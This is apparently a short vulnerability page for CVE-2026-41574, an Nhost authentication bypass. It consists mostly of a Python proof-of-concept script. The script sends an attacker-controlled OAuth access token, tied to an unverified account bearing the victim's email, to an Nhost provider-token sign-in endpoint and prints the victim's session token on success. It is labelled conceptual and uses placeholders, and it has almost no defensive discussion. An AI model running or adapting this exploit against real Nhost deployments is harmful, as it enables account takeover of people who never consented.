CVE-2026-41574 Nhost 身份认证绕过漏洞

# This is a conceptual PoC demonstrating the attack flow. # Actual exploitation requires specific configurations on the OAuth provider side. import requests # Target Nhost instance target_url = "https://target-nhost-instance.com/v1/auth/signin/provider/token" # Attacker controls this account on the OAuth provider (e.g., Discord) # registered with victim's email but unverified. attacker_oauth_token = "fake_provider_access_token" # Payload structure typically sent to Nhost backend payload = { "provider": "discord", # or bitbucket, azuread, entraid "accessToken": attacker_oauth_token, "nonce": "random_nonce_value" } # Send request response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Successful Account Takeover!") print("[+] Session Token:", response.json().get('sessionToken')) else: print("[-] Exploit failed")